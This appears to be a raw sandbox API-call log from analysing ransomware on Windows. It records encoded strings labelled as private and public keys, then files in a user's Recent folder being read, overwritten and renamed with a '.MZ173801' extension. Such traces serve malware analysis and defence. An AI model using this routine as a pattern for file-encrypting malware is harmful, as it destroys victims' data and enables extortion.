lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.051] GetCurrentThreadId () returned 0xab4 [0152.051] GetCurrentThreadId () returned 0xab4 [0152.051] GetCurrentThreadId () returned 0xab4 [0152.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.052] GetCurrentThreadId () returned 0xab4 [0152.052] GetCurrentThreadId () returned 0xab4 [0152.052] GetCurrentThreadId () returned 0xab4 [0152.052] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sqorZLc30 FYq4TE ce9.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\sqorzlc30 fyq4te ce9.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.052] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.052] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.052] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x443 [0152.052] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.053] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x443, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x443, lpOverlapped=0x0) returned 1 [0152.053] CloseHandle (hObject=0x280) returned 1 [0152.054] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sqorZLc30 FYq4TE ce9.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\sqorzlc30 fyq4te ce9.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.055] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x443, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x443, lpOverlapped=0x0) returned 1 [0152.055] CloseHandle (hObject=0x280) returned 1 [0152.057] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sqorZLc30 FYq4TE ce9.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\sqorzlc30 fyq4te ce9.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sqorZLc30 FYq4TE ce9.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\sqorzlc30 fyq4te ce9.lnk.mz173801")) returned 1 [0152.057] GetCurrentThreadId () returned 0xab4 [0152.057] GetCurrentThreadId () returned 0xab4 [0152.057] GetCurrentThreadId () returned 0xab4 [0152.057] GetCurrentThreadId () returned 0xab4 [0152.057] GetCurrentThreadId () returned 0xab4 [0152.057] GetCurrentThreadId () returned 0xab4 [0152.057] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4109c81b, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4109c81b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4109c81b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="SyPgeh2hWXPmhIqZ_oMv.lnk", cAlternateFileName="SYPGEH~1.LNK")) returned 1 [0152.057] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.057] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SyPgeh2hWXPmhIqZ_oMv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\sypgeh2hwxpmhiqz_omv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4109c81b, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4109c81b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4109c81b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f3)) returned 1 [0152.058] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SyPgeh2hWXPmhIqZ_oMv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\sypgeh2hwxpmhiqz_omv.lnk")) returned 0x20 [0152.058] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SyPgeh2hWXPmhIqZ_oMv.lnk", dwFileAttributes=0x80) returned 1 [0152.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.059] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 